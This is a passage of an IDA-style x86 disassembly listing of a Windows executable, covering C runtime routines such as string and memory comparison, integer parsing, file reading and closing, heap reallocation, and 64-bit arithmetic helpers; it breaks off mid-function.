; =============== S U B	R O U T	I N E =======================================



sub_40D810	proc near		; CODE XREF: sub_402951+1Ap
					; sub_417A5E+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40D7A3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_40D810	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D822	proc near		; DATA XREF: .nsp0:0041A014o
		push	80h
		call	sub_40CCCF
		test	eax, eax
		pop	ecx
		mov	dword_48343C, eax
		jnz	short loc_40D843
		push	18h
		call	sub_40EC7A
		mov	eax, dword_48343C
		pop	ecx


loc_40D843:				; CODE XREF: sub_40D822+12j
		and	dword ptr [eax], 0
		mov	eax, dword_48343C
		mov	dword_483438, eax
		retn
sub_40D822	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D860	proc near		; CODE XREF: sub_40304D+1Dp
					; sub_403A2E+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_40D8AC


loc_40D870:				; CODE XREF: sub_40D860+3Cj
					; sub_40D860+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_40D8A4
		or	al, al
		jz	short loc_40D8A0
		cmp	ah, [ecx+1]
		jnz	short loc_40D8A4
		or	ah, ah
		jz	short loc_40D8A0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_40D8A4
		or	al, al
		jz	short loc_40D8A0
		cmp	ah, [ecx+3]
		jnz	short loc_40D8A4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_40D870
		mov	edi, edi


loc_40D8A0:				; CODE XREF: sub_40D860+18j
					; sub_40D860+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40D8A4:				; CODE XREF: sub_40D860+14j
					; sub_40D860+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40D8AC:				; CODE XREF: sub_40D860+Ej
		test	edx, 1
		jz	short loc_40D8C8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_40D8A4
		inc	ecx
		or	al, al
		jz	short loc_40D8A0
		test	edx, 2
		jz	short loc_40D870


loc_40D8C8:				; CODE XREF: sub_40D860+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_40D8A4
		or	al, al
		jz	short loc_40D8A0
		cmp	ah, [ecx+1]
		jnz	short loc_40D8A4
		or	ah, ah
		jz	short loc_40D8A0
		add	ecx, 2
		jmp	short loc_40D870
sub_40D860	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8E4	proc near		; CODE XREF: sub_40450F+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_40EDD8
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_40D922
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_40D92F
; ---------------------------------------------------------------------------


loc_40D922:				; CODE XREF: sub_40D8E4+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_40ECC3
		pop	ecx
		pop	ecx


loc_40D92F:				; CODE XREF: sub_40D8E4+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40D8E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D934	proc near		; CODE XREF: sub_40D9BF+4p
					; sub_415A78+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_40D93C:				; CODE XREF: sub_40D934+34j
		cmp	dword_422004, 1
		jle	short loc_40D954
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40D963
; ---------------------------------------------------------------------------


loc_40D954:				; CODE XREF: sub_40D934+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_421DF8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_40D963:				; CODE XREF: sub_40D934+1Ej
		test	eax, eax
		jz	short loc_40D96A
		inc	edi
		jmp	short loc_40D93C
; ---------------------------------------------------------------------------


loc_40D96A:				; CODE XREF: sub_40D934+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_40D97A
		cmp	esi, 2Bh
		jnz	short loc_40D97E


loc_40D97A:				; CODE XREF: sub_40D934+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_40D97E:				; CODE XREF: sub_40D934+44j
		xor	ebx, ebx


loc_40D980:				; CODE XREF: sub_40D934+7Bj
		cmp	dword_422004, 1
		jle	short loc_40D995
		push	4
		push	esi
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40D9A0
; ---------------------------------------------------------------------------


loc_40D995:				; CODE XREF: sub_40D934+53j
		mov	eax, off_421DF8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_40D9A0:				; CODE XREF: sub_40D934+5Fj
		test	eax, eax
		jz	short loc_40D9B1
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_40D980
; ---------------------------------------------------------------------------


loc_40D9B1:				; CODE XREF: sub_40D934+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_40D9BA
		neg	eax


loc_40D9BA:				; CODE XREF: sub_40D934+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40D934	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9BF	proc near		; CODE XREF: sub_403E11+45Cp
					; sub_403E11+46Bp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40D934
		pop	ecx
		retn
sub_40D9BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9CA	proc near		; CODE XREF: sub_40327E+62p
					; sub_404475+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_40D9DF
		or	eax, 0FFFFFFFFh
		jmp	short loc_40DA19
; ---------------------------------------------------------------------------


loc_40D9DF:				; CODE XREF: sub_40D9CA+Ej
		test	al, 83h
		jz	short loc_40DA17
		push	esi
		call	sub_412CD7
		push	esi
		mov	edi, eax
		call	sub_412C71
		push	dword ptr [esi+10h]
		call	sub_412BBE
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_40DA05
		or	edi, 0FFFFFFFFh
		jmp	short loc_40DA17
; ---------------------------------------------------------------------------


loc_40DA05:				; CODE XREF: sub_40D9CA+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_40DA17
		push	eax
		call	sub_40CD81
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_40DA17:				; CODE XREF: sub_40D9CA+17j
					; sub_40D9CA+39j ...
		mov	eax, edi


loc_40DA19:				; CODE XREF: sub_40D9CA+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_40D9CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA20	proc near		; CODE XREF: sub_40327E+43p
					; sub_404475+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_40DA44
		xor	eax, eax
		jmp	loc_40DAED
; ---------------------------------------------------------------------------


loc_40DA44:				; CODE XREF: sub_40DA20+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_40DA57
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_40DA63
; ---------------------------------------------------------------------------


loc_40DA57:				; CODE XREF: sub_40DA20+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_40DA63
; ---------------------------------------------------------------------------


loc_40DA60:				; CODE XREF: sub_40DA20+C4j
		mov	ecx, [ebp+arg_0]


loc_40DA63:				; CODE XREF: sub_40DA20+35j
					; sub_40DA20+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_40DA95
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40DA95
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_40DA7A
		mov	edi, eax


loc_40DA7A:				; CODE XREF: sub_40DA20+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	near ptr sub_40C820
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_40DAE0
; ---------------------------------------------------------------------------


loc_40DA95:				; CODE XREF: sub_40DA20+49j
					; sub_40DA20+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_40DAC8
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_40DAAB
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_40DAAB:				; CODE XREF: sub_40DA20+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_412E82
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40DAF2
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DAF8
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_40DAE0
; ---------------------------------------------------------------------------


loc_40DAC8:				; CODE XREF: sub_40DA20+78j
		push	esi
		call	sub_412DA9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_40DAFC
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_40DAE0:				; CODE XREF: sub_40DA20+73j
					; sub_40DA20+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_40DA60
		mov	eax, [ebp+arg_8]


loc_40DAED:				; CODE XREF: sub_40DA20+1Fj
					; sub_40DA20+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40DAF2:				; CODE XREF: sub_40DA20+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_40DAFC
; ---------------------------------------------------------------------------


loc_40DAF8:				; CODE XREF: sub_40DA20+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_40DAFC:				; CODE XREF: sub_40DA20+B2j
					; sub_40DA20+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_40DAED
sub_40DA20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB08	proc near		; CODE XREF: sub_40327E+2Cp
					; sub_40D7A3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_40DB23
		push	[ebp+arg_4]
		call	sub_40CCCF
		pop	ecx
		jmp	loc_40DDA3
; ---------------------------------------------------------------------------


loc_40DB23:				; CODE XREF: sub_40DB08+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_40DB38
		push	[ebp+arg_0]
		call	sub_40CD81
		pop	ecx
		jmp	loc_40DDA1
; ---------------------------------------------------------------------------


loc_40DB38:				; CODE XREF: sub_40DB08+20j
		mov	eax, dword_483428
		cmp	eax, 3
		jnz	loc_40DC48


loc_40DB46:				; CODE XREF: sub_40DB08+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_40DC24
		push	[ebp+arg_0]
		call	sub_4102C8
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_40DBFF
		cmp	esi, dword_483420
		ja	short loc_40DBB8
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_410AD1
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40DBB4
		push	esi
		call	sub_41061C
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40DBB8
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_40DB98
		mov	eax, esi


loc_40DB98:				; CODE XREF: sub_40DB08+8Cj
		push	eax
		push	ebx
		push	edi
		call	near ptr sub_40C820
		push	ebx
		call	sub_4102C8
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_4102F3
		add	esp, 18h


loc_40DBB4:				; CODE XREF: sub_40DB08+74j
		test	edi, edi
		jnz	short loc_40DBFB


loc_40DBB8:				; CODE XREF: sub_40DB08+62j
					; sub_40DB08+81j
		test	esi, esi
		jnz	short loc_40DBBF
		push	1
		pop	esi


loc_40DBBF:				; CODE XREF: sub_40DB08+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_483424
		call	dword_418110	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_40DBFB
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_40DBE7
		mov	eax, esi


loc_40DBE7:				; CODE XREF: sub_40DB08+DBj
		push	eax
		push	ecx
		push	edi
		call	near ptr sub_40C820
		push	[ebp+arg_0]
		push	ebx
		call	sub_4102F3
		add	esp, 14h


loc_40DBFB:				; CODE XREF: sub_40DB08+AEj
					; sub_40DB08+D0j
		test	ebx, ebx
		jnz	short loc_40DC20


loc_40DBFF:				; CODE XREF: sub_40DB08+56j
		test	esi, esi
		jnz	short loc_40DC06
		push	1
		pop	esi


loc_40DC06:				; CODE XREF: sub_40DB08+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_483424
		call	dword_41811C	; RtlReAllocateHeap
		mov	edi, eax


loc_40DC20:				; CODE XREF: sub_40DB08+F5j
		test	edi, edi
		jnz	short loc_40DC41


loc_40DC24:				; CODE XREF: sub_40DB08+43j
		cmp	dword_481E14, 0
		jz	short loc_40DC41
		push	esi
		call	sub_410093
		test	eax, eax
		pop	ecx
		jnz	loc_40DB46
		jmp	loc_40DDA1
; ---------------------------------------------------------------------------


loc_40DC41:				; CODE XREF: sub_40DB08+11Aj
					; sub_40DB08+123j ...
		mov	eax, edi
		jmp	loc_40DDA3
; ---------------------------------------------------------------------------


loc_40DC48:				; CODE XREF: sub_40DB08+38j
		cmp	eax, 2
		jnz	loc_40DD63
		cmp	esi, 0FFFFFFE0h
		ja	short loc_40DC65
		test	esi, esi
		jbe	short loc_40DC62
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_40DC65
; ---------------------------------------------------------------------------


loc_40DC62:				; CODE XREF: sub_40DB08+150j
		push	10h
		pop	esi


loc_40DC65:				; CODE XREF: sub_40DB08+14Cj
					; sub_40DB08+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_40DD45
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_411023
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_40DD29
		cmp	esi, dword_421CB4
		jnb	short loc_40DCED
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_4113EB
		add	esp, 10h
		test	eax, eax
		jz	short loc_40DCB3
		mov	edi, [ebp+arg_0]
		jmp	short loc_40DCE5
; ---------------------------------------------------------------------------


loc_40DCB3:				; CODE XREF: sub_40DB08+1A4j
		push	edi
		call	sub_4110BF
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40DCED
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_40DCCC
		mov	eax, esi


loc_40DCCC:				; CODE XREF: sub_40DB08+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	near ptr sub_40C820
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41107A
		add	esp, 18h


loc_40DCE5:				; CODE XREF: sub_40DB08+1A9j
		test	edi, edi
		jnz	loc_40DC41


loc_40DCED:				; CODE XREF: sub_40DB08+18Bj
					; sub_40DB08+1B6j
		push	esi
		push	0
		push	dword_483424
		call	dword_418110	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_40DD45
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_40DD0E
		mov	eax, esi


loc_40DD0E:				; CODE XREF: sub_40DB08+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	near ptr sub_40C820
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41107A
		add	esp, 18h
		jmp	short loc_40DD3D
; ---------------------------------------------------------------------------


loc_40DD29:				; CODE XREF: sub_40DB08+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_483424
		call	dword_41811C	; RtlReAllocateHeap
		mov	edi, eax


loc_40DD3D:				; CODE XREF: sub_40DB08+21Fj
		test	edi, edi
		jnz	loc_40DC41


loc_40DD45:				; CODE XREF: sub_40DB08+162j
					; sub_40DB08+1F8j
		cmp	dword_481E14, 0
		jz	loc_40DC41
		push	esi
		call	sub_410093
		test	eax, eax
		pop	ecx
		jnz	loc_40DC65
		jmp	short loc_40DDA1
; ---------------------------------------------------------------------------


loc_40DD63:				; CODE XREF: sub_40DB08+143j
					; sub_40DB08+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_40DD8D
		test	esi, esi
		jnz	short loc_40DD71
		push	1
		pop	esi


loc_40DD71:				; CODE XREF: sub_40DB08+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_483424
		call	dword_41811C	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_40DDA3


loc_40DD8D:				; CODE XREF: sub_40DB08+260j
		cmp	dword_481E14, 0
		jz	short loc_40DDA3
		push	esi
		call	sub_410093
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD63


loc_40DDA1:				; CODE XREF: sub_40DB08+2Bj
					; sub_40DB08+134j ...
		xor	eax, eax


loc_40DDA3:				; CODE XREF: sub_40DB08+16j
					; sub_40DB08+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB08	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DDA8	proc near		; CODE XREF: sub_40DDC8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_4131E8
		test	eax, eax
		jnz	short loc_40DDB2
		retn
; ---------------------------------------------------------------------------


loc_40DDB2:				; CODE XREF: sub_40DDA8+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_413078
		add	esp, 10h
		retn
sub_40DDA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DDC8	proc near		; CODE XREF: sub_40327E+18p
					; sub_404475+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40DDA8
		add	esp, 0Ch
		retn
sub_40DDC8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40DDE0	proc near		; CODE XREF: sub_40B3F5+11Bp
					; sub_40F5E2+7F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_40DDF9
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_40DDF9:				; CODE XREF: sub_40DDE0+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_40DDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DE14	proc near		; CODE XREF: sub_4037EA+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_4180C0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40DE34
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		call	sub_413260
		pop	ecx


loc_40DE30:				; CODE XREF: sub_40DE14+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40DE34:				; CODE XREF: sub_40DE14+Dj
		test	al, 1
		jz	short loc_40DE55
		test	[esp+arg_4], 2
		jz	short loc_40DE55
		mov	dword_481DBC, 0Dh
		mov	dword_481DC0, 5
		jmp	short loc_40DE30
; ---------------------------------------------------------------------------


loc_40DE55:				; CODE XREF: sub_40DE14+22j
					; sub_40DE14+29j
		xor	eax, eax
		retn
sub_40DE14	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40DE60	proc near		; CODE XREF: sub_403804+3Fp
					; sub_40B751+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_40DE82
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40DEC3
; ---------------------------------------------------------------------------


loc_40DE82:				; CODE XREF: sub_40DE60+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_40DE90:				; CODE XREF: sub_40DE60+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40DE90
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40DEBE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_40DEBE
		jb	short loc_40DEBF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_40DEBF


loc_40DEBE:				; CODE XREF: sub_40DE60+4Ej
					; sub_40DE60+54j
		dec	esi


loc_40DEBF:				; CODE XREF: sub_40DE60+56j
					; sub_40DE60+5Cj
		xor	edx, edx
		mov	eax, esi


loc_40DEC3:				; CODE XREF: sub_40DE60+20j
		pop	esi
		pop	ebx
		retn	10h
sub_40DE60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40DED0	proc near		; CODE XREF: sub_403804+2Dp
					; sub_40B751+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_40DEF1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_40DF41
; ---------------------------------------------------------------------------


loc_40DEF1:				; CODE XREF: sub_40DED0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_40DEFF:				; CODE XREF: sub_40DED0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40DEFF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_40DF2A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_40DF2A
		jb	short loc_40DF32
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_40DF32


loc_40DF2A:				; CODE XREF: sub_40DED0+4Aj
					; sub_40DED0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_40DF32:				; CODE XREF: sub_40DED0+52j
					; sub_40DED0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40DF41:				; CODE XREF: sub_40DED0+1Fj
		pop	ebx
		retn	10h
sub_40DED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40DF50	proc near		; CODE XREF: sub_403913+5Fp
					; sub_403913+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_40DF71
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_40DF71:				; CODE XREF: sub_40DF50+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_40DF8D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_40DF8D:				; CODE XREF: sub_40DF50+27j
		or	eax, eax
		jnz	short loc_40DFA9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40DFEA
; ---------------------------------------------------------------------------


loc_40DFA9:				; CODE XREF: sub_40DF50+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_40DFB7:				; CODE XREF: sub_40DF50+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_40DFB7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40DFE5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_40DFE5
		jb	short loc_40DFE6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_40DFE6


loc_40DFE5:				; CODE XREF: sub_40DF50+85j
					; sub_40DF50+8Bj
		dec	esi


loc_40DFE6:				; CODE XREF: sub_40DF50+8Dj
					; sub_40DF50+93j
		xor	edx, edx
		mov	eax, esi


loc_40DFEA:				; CODE XREF: sub_40DF50+57j
		dec	edi
		jnz	short loc_40DFF4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40DFF4:				; CODE XREF: sub_40DF50+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_40DF50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40E000	proc near		; CODE XREF: sub_403C6B+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_40E04C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_40E04D
		test	eax, 1
		jz	short loc_40E02D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_40E07A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_40E04A


loc_40E02D:				; CODE XREF: sub_40E000+20j
					; sub_40E000+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40E07A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_40E07A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
